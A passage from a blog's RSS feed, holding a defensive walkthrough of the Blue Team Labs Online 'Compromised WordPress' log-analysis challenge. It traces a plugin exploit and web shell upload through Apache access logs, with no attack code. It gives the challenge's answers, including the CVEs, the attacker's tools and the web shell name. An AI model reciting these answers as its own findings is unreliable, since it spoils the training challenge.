SharpHound Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/cc19c785702eea660a1dd7cbf9e4fef80b41384e8bd6ce26b7229e0251f24272&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Malware Names:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/unified-secops/malware-naming&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/unified-secops/malware-naming&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  — Log Analysis - Compromised WordPress Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/</link>
            <pubDate>Mon, 05 Jan 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/32686f5b96e78357e96bbb17e3f5b5cd_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  — Log Analysis - Compromised WordPress Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-online--log-analysiscompromised-wordpress--challenge-walkthrough&#34;&gt;Blue Team Labs Online | Log Analysis — Compromised WordPress | Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-log-analysis-challenge-usinghttp-logsviewer&#34;&gt;A Log Analysis Challenge Using &lt;strong&gt;http Logs Viewer&lt;/strong&gt;&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;32686f5b96e78357e96bbb17e3f5b5cd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;526px&#34; data-flex-grow=&#34;219&#34; height=&#34;365&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/32686f5b96e78357e96bbb17e3f5b5cd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Log Analysis — Compromised WordPress&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;One of our WordPress sites has been compromised but we’re currently unsure how. The primary hypothesis is that an installed plugin was vulnerable to a remote code execution vulnerability which gave an attacker access to the underlying operating system of the server.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we’re putting on our incident response hats. We’ll dig into the provided &lt;code&gt;access.log&lt;/code&gt; file, analyze suspicious requests, and piece together how the attacker gained access.&lt;/p&gt;&#xA;&lt;p&gt;We’ll be using &lt;a class=&#34;link&#34; href=&#34;https://www.apacheviewer.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;http&lt;/strong&gt; &lt;strong&gt;Logs Viewer&lt;/strong&gt;&lt;/a&gt; (formerly &lt;em&gt;Apache Logs Viewer&lt;/em&gt;) for log analysis and complementing that with research into CVEs and attacker TTPs. By the end of this walkthrough, you’ll have a clear understanding of how to approach similar investigations in the wild. An even cooler part? While this investigation focuses on a WordPress site compromise, the log analysis skills you’ll practice here apply to other web servers as well — making this a great primer for web server log analysis, too. Sound good? Let’s dive in!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the Analysis Environment &amp;amp; Extract the Challenge File:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! It’s always important when working with lab/challenge files from &lt;strong&gt;BTLO&lt;/strong&gt; &lt;em&gt;(or any educational lab/challenge/range)&lt;/em&gt; to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. I’m using &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FLARE-VM&lt;/strong&gt;&lt;/a&gt; for this challenge which is “&lt;em&gt;a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).&lt;/em&gt;”&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip the step-by-step setup of &lt;em&gt;FLARE-VM&lt;/em&gt; but _i_f you’d like to set up your own environment, please follow the directions provided directly by &lt;em&gt;FLARE-VM&lt;/em&gt; on &lt;em&gt;GitHub.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  title=&#34;https://github.com/mandiant/flare-vm&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that…&lt;/strong&gt;&#xA;_A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-identify-the-uri-of-the-admin-login-panel-that-the-attacker-gained-access-to-include-thetoken&#34;&gt;Question 1: Identify the URI of the admin login panel that the attacker gained access to (include the token)&#xA;&lt;/h3&gt;&lt;p&gt;Let’s kick off our investigation by extracting the challenge file from the ZIP we downloaded from &lt;strong&gt;BTLO&lt;/strong&gt; using the password provided in the challenge window. After extraction, we’re left with a single file: &lt;code&gt;access.log&lt;/code&gt;. This is the file we’ll analyze to determine how the &lt;strong&gt;WordPress&lt;/strong&gt; site was compromised.&lt;/p&gt;&#xA;&lt;p&gt;An important thing to note here is that the &lt;code&gt;access.log&lt;/code&gt; is generated by the backend web server software, like &lt;strong&gt;Apache&lt;/strong&gt;, and not by &lt;em&gt;WordPress&lt;/em&gt; directly. Why does this matter? Because it informs what tool we use for analysis and reminds us that these log analysis skills apply far beyond &lt;em&gt;WordPress&lt;/em&gt; investigations.&lt;/p&gt;&#xA;&lt;p&gt;With that in mind, while any text viewer works, a great tool for examining &lt;code&gt;access.log&lt;/code&gt; is &lt;a class=&#34;link&#34; href=&#34;https://www.apacheviewer.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;http Logs Viewer&lt;/strong&gt;&lt;/a&gt; (formerly &lt;em&gt;Apache Logs Viewer&lt;/em&gt;), which &lt;em&gt;“is a free and powerful tool which lets you monitor, view and analyze Apache/IIS/nginx logs with more ease.”&lt;/em&gt; Sounds like it fits the bill!&lt;/p&gt;&#xA;&lt;p&gt;Once you’ve downloaded and installed it, open the tool and load &lt;code&gt;access.log&lt;/code&gt; by selecting &lt;em&gt;File &amp;gt; Add Access Log&lt;/em&gt;. In the options pop-up window, change the file format to &lt;em&gt;Combined View&lt;/em&gt; so we don’t lose any data.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2a5a236ac76e6153f63706341a985d5a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;469px&#34; data-flex-grow=&#34;195&#34; height=&#34;409&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/2a5a236ac76e6153f63706341a985d5a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Loading the access.log file&lt;/p&gt;&#xA;&lt;p&gt;Now that the logs are open, our first task is to identify the admin login panel URL accessed by the attacker. A good starting point is to get an overview of unique IPs in the log. To do this, click the button next to the &lt;em&gt;IP Address&lt;/em&gt; filter and select &lt;em&gt;Unique IPs&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c7692f9dc5fb19bde696088a9fc85779_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;655px&#34; data-flex-grow=&#34;273&#34; height=&#34;293&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/c7692f9dc5fb19bde696088a9fc85779_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Stumbling upon the weird query in the Unique IP view&lt;/p&gt;&#xA;&lt;p&gt;You’ll see several unique IP addresses, but something stands out: a suspicious &lt;code&gt;POST&lt;/code&gt; request from various IPs with what appears to be an admin-level token. This token is likely passed as a query parameter (e.g., &lt;code&gt;?itsec-hb-token=adminlogin&lt;/code&gt;) or embedded in the request body, which attackers often exploit for session hijacking or privilege escalation. Copy the URL, then search for this request string using &lt;code&gt;Ctrl+F&lt;/code&gt;. This should take you straight to the first result.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b482a0b3fbcbf32be4169e43159a579a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;377px&#34; data-flex-grow=&#34;157&#34; height=&#34;508&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/b482a0b3fbcbf32be4169e43159a579a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Finding the first instance of the adminlogin token&lt;/p&gt;&#xA;&lt;p&gt;Since this is a login URL, contains an admin token, and shows successful requests (HTTP &lt;code&gt;200&lt;/code&gt; status), it strongly suggests this is the admin panel the attacker accessed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5dea9790b54b661ebb871fb3879f61d8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3428px&#34; data-flex-grow=&#34;1428&#34; height=&#34;56&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/5dea9790b54b661ebb871fb3879f61d8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-can-you-find-two-tools-the-attackerused&#34;&gt;Question 2: Can you find two tools the attacker used?&#xA;&lt;/h3&gt;&lt;p&gt;For this task, we need to identify the two tools used by the attacker. To do this, we’ll switch our focus to the &lt;em&gt;User Agent&lt;/em&gt; column. While &lt;strong&gt;http Logs Viewer&lt;/strong&gt; can generate a pie chart of all user agents, it’s not helpful here because we’re looking for something more unique than standard browser strings.&lt;/p&gt;&#xA;&lt;p&gt;That’s OK though, we can do this manually by sorting the &lt;em&gt;User Agent&lt;/em&gt; column in descending order to look for any suspicious entries captured in the log.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1e06d9bace1ed13f4322e53dd6598003_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;376px&#34; data-flex-grow=&#34;156&#34; height=&#34;510&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/1e06d9bace1ed13f4322e53dd6598003_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Identifying the attacker’s tooling through User Agent headers&lt;/p&gt;&#xA;&lt;p&gt;While there are a few oddities, two stand out: &lt;code&gt;WPScan&lt;/code&gt; and &lt;code&gt;sqlmap&lt;/code&gt;. &lt;strong&gt;WPScan&lt;/strong&gt; is a WordPress vulnerability scanner, and &lt;strong&gt;sqlmap&lt;/strong&gt; is a penetration testing tool used to detect and exploit SQL injection vulnerabilities. These tools often handily identify themselves in the &lt;em&gt;User-Agent&lt;/em&gt; header (e.g., &lt;code&gt;WPScan v3.8.10&lt;/code&gt; or &lt;code&gt;sqlmap/1.4.11&lt;/code&gt;), which is why sorting by User Agent works so well.&lt;/p&gt;&#xA;&lt;p&gt;This is a potent combination that would help the attacker identify weaknesses in the WordPress server and then exploit them.&lt;/p&gt;&#xA;&lt;p&gt;For further reading, here are the official sites for these tools:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://wpscan.com/&#34;  title=&#34;https://wpscan.com/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Homepage&lt;/strong&gt;&#xA;_WPScan is an enterprise vulnerability database for WordPress. Be the first to know about vulnerabilities affecting your…_wpscan.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://wpscan.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://sqlmap.org/&#34;  title=&#34;https://sqlmap.org/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;sqlmap: automatic SQL injection and database takeover tool&lt;/strong&gt;&#xA;_sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection…_sqlmap.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://sqlmap.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0bc75c702015d7a989f8910364a6db31_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3490px&#34; data-flex-grow=&#34;1454&#34; height=&#34;55&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/0bc75c702015d7a989f8910364a6db31_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-the-attacker-tried-to-exploit-a-vulnerability-in-contact-form-7-what-cve-was-the-plugin-vulnerable-to-do-some-research&#34;&gt;Question 3: The attacker tried to exploit a vulnerability in ‘Contact Form 7’. What CVE was the plugin vulnerable to? (Do some research!)&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we already know the attacker targeted the &lt;code&gt;Contact Form 7&lt;/code&gt; plugin, which gives us a jump start on research.&lt;/p&gt;&#xA;&lt;p&gt;First, let’s confirm evidence of this plugin in the logs. Use the find function(&lt;code&gt;Ctrl+F&lt;/code&gt;) in &lt;strong&gt;http Logs Viewer&lt;/strong&gt; and search for requests containing the string &lt;code&gt;contact-form-7&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;95c7808f4e85f69f0ab370fbb255e5de_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;356px&#34; data-flex-grow=&#34;148&#34; height=&#34;336&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/95c7808f4e85f69f0ab370fbb255e5de_MD5.png&#34; width=&#34;499&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Searching the logs for the vulnerable plugin&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5bd3df32e34d7ea2036b2edd8ef884fc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;382px&#34; data-flex-grow=&#34;159&#34; height=&#34;502&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/5bd3df32e34d7ea2036b2edd8ef884fc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Identifying the version number of the vulnerable plugin&lt;/p&gt;&#xA;&lt;p&gt;With this search, we can confirm the presence of &lt;code&gt;Contact Form 7&lt;/code&gt; in the logs, and more importantly, we can see a version number in the query parameter—this is the key.&lt;/p&gt;&#xA;&lt;p&gt;Now we pivot to research mode! Use your favorite search engine to look for vulnerabilities in &lt;code&gt;Contact Form 7&lt;/code&gt; version 5.3.1 which quickly leads us to &lt;a class=&#34;link&#34; href=&#34;https://www.cvedetails.com/cve/CVE-2020-35489/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CVE-2020-35489&lt;/strong&gt;&lt;/a&gt;, an arbitrary file upload vulnerability. For example, using &lt;strong&gt;CVEdetails&lt;/strong&gt;, we learn:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The contact-form-7 (aka Contact Form 7) plugin before 5.3.2 for WordPress allows Unrestricted File Upload and remote code execution because a filename may contain special characters.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This means attackers could upload malicious files by exploiting improper filename sanitization, leading to remote code execution.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6eeeea35afef2c8dd8a05614f7560572_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/6eeeea35afef2c8dd8a05614f7560572_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-plugin-was-exploited-to-getaccess&#34;&gt;Question 4: What plugin was exploited to get access?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we need to identify a second vulnerable plugin. Here’s what we know about the attacker so far:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They attempted to abuse &lt;strong&gt;CVE-2020–35489&lt;/strong&gt; in &lt;code&gt;Contact Form 7&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;CVE-2020–35489 &lt;em&gt;“allows Unrestricted File Upload and remote code execution because a filename may contain special characters.”&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;In other words, the attacker may favor techniques that abuse file uploads. This means we should adjust our search scope in &lt;strong&gt;http&lt;/strong&gt; &lt;strong&gt;Logs Viewer&lt;/strong&gt; to focus on HTTP &lt;code&gt;POST&lt;/code&gt; requests, specifically targeting upload endpoints. We can do this by applying the &lt;em&gt;Request Methods&lt;/em&gt; filter and setting it to &lt;code&gt;POST&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6c428d0b4c6aa691470f13abf02438f3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1500px&#34; data-flex-grow=&#34;625&#34; height=&#34;128&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/6c428d0b4c6aa691470f13abf02438f3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Filter HTTP POST requests&lt;/p&gt;&#xA;&lt;p&gt;Once the filter is applied, the log becomes much more manageable. It’s easier to spot successful &lt;code&gt;POST&lt;/code&gt; requests to both &lt;code&gt;Contact Form 7&lt;/code&gt; and a second plugin: &lt;code&gt;Simple-File-List&lt;/code&gt;, with a suspicious-looking &lt;code&gt;.php&lt;/code&gt; file in the upload path.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1303274e953bc2886ff464922dbc311d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;362px&#34; data-flex-grow=&#34;151&#34; height=&#34;529&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/1303274e953bc2886ff464922dbc311d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Identifying a second plugin&lt;/p&gt;&#xA;&lt;p&gt;It seems like we’re on the right track, but we don’t yet have explicit evidence of the version of &lt;code&gt;Simple-File-List&lt;/code&gt; to confirm if it’s vulnerable to remote file upload exploitation, right? So, let’s work backwards and research any vulnerability in this plugin that fits that criteria.&lt;/p&gt;&#xA;&lt;p&gt;With a little searching, we’ll stumble across &lt;strong&gt;CVE-2020–36847&lt;/strong&gt;. According to the National Vulnerability Database:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2020-36847&#34;  title=&#34;https://nvd.nist.gov/vuln/detail/CVE-2020-36847&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NVD&lt;/strong&gt;&#xA;_The Simple-File-List Plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including…_nvd.nist.gov&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2020-36847&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The Simple-File-List Plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 4.2.2 via the rename function which can be used to rename uploaded PHP code with a png extension to use a php extension. This allows unauthenticated attackers to execute code on the server.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This aligns perfectly with the attacker’s known TTPs. Without any other evidence, let’s make an educated gamble and check if version 4.2.2 was the plugin exploited by the attacker.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5f10043643a5b648285484c412a1db18_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3428px&#34; data-flex-grow=&#34;1428&#34; height=&#34;56&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/5f10043643a5b648285484c412a1db18_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-name-of-the-php-web-shellfile&#34;&gt;Question 5: What is the name of the PHP web shell file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve confirmed &lt;code&gt;Simple-File-List&lt;/code&gt; version 4.2.2 was exploited to gain access, this explains the suspicious-looking &lt;code&gt;.php&lt;/code&gt; file we called out in &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;While we don’t have any further evidence of the file’s capabilities, the question tells us it’s a web shell. That means the attacker likely uploaded a malicious PHP script to maintain access and execute commands on the server. The log entry showing the upload path should reveal the exact filename — this is what we’re after.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2874006c809142ddf1d721c7f7c09598_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1280px&#34; data-flex-grow=&#34;533&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/2874006c809142ddf1d721c7f7c09598_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Identifying the attacker’s web shell&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;001e002131406bab8051f45c58343f31_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3254px&#34; data-flex-grow=&#34;1355&#34; height=&#34;59&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/001e002131406bab8051f45c58343f31_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-was-the-http-response-code-provided-when-the-web-shell-was-accessed-for-the-finaltime&#34;&gt;Question 6: What was the HTTP response code provided when the web shell was accessed for the final time?&#xA;&lt;/h3&gt;&lt;p&gt;For the eagle-eyed readers out there, you may have noticed in the screenshot from the previous question the HTTP response code in the &lt;em&gt;Status&lt;/em&gt; column — most were &lt;code&gt;200&lt;/code&gt; (successful), but one wasn’t.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2874006c809142ddf1d721c7f7c09598_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1280px&#34; data-flex-grow=&#34;533&#34; height=&#34;150&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/2874006c809142ddf1d721c7f7c09598_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;http Logs Viewer: Identifying the attacker’s web shell&lt;/p&gt;&#xA;&lt;p&gt;An easy way to confirm this is to use &lt;strong&gt;http Logs Viewer’s&lt;/strong&gt; find function and search for the name of the web shell we identified in &lt;strong&gt;Question 5&lt;/strong&gt; — &lt;code&gt;fr34k.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This narrows the log to entries containing that filename and makes it much easier to spot the final request. The last entry shows a &lt;code&gt;404&lt;/code&gt; status, meaning the file was no longer accessible. Great job! Now let’s wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;64640584fc4edbb7935f3ca9fbe11498_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3310px&#34; data-flex-grow=&#34;1379&#34; height=&#34;58&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 